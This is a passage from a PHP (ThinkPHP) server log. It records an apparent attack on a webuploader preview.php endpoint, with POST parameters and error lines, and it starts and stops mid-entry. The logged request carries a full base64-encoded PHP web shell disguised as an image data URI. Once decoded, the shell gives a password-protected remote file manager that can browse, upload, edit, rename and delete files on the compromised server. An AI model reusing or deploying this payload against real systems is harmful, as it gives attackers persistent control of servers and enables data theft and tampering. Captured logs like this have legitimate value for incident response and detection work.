'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:42+08:00 ] 116.213.36.234 POST 59.110.137.245/public/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002777s] [吞吐率:360.12req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 